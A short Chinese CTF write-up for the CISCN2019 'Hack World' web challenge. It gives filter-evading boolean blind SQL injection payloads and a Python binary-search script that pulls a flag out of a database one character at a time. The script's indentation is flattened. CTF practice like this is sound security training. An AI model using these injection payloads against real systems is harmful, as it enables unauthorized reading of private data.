[CISCN2019 华北赛区 Day2 Web1]Hack World

这题很多关键词都不给。例如空格、;等。

很明显是整数型的注⼊,因此不需要‘来闭合,输⼊:

id=if((ascii(substr((select(flag)from(flag)),1,1))=102),0,1)

输⼊id=if((ascii(substr((select(flag)from(flag)),1,1))=103),0,1)

因此可以使⽤布尔盲注了。

def getzzq(host): 
 ans=''
 for i in range(1,1000):
 low = 32
 high = 128
 mid = (low+high)//2
 while low < high:
 url= host 
 myobj = {'id': "1^(ascii(substr((select(flag)from(flag)),%d,1))<%d)^1"%(i,mid)}
 x = requests.post(url, data = myobj)
 if "Hello" in x.text:
 high = mid	 

 else:
 low = mid+1
 #print(res.text)
 mid=(low+high)//2
 if mid <= 32 or mid >= 127:
 break
 ans += chr(mid-1)
 print("ans:"+ans)
 sleep(1)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值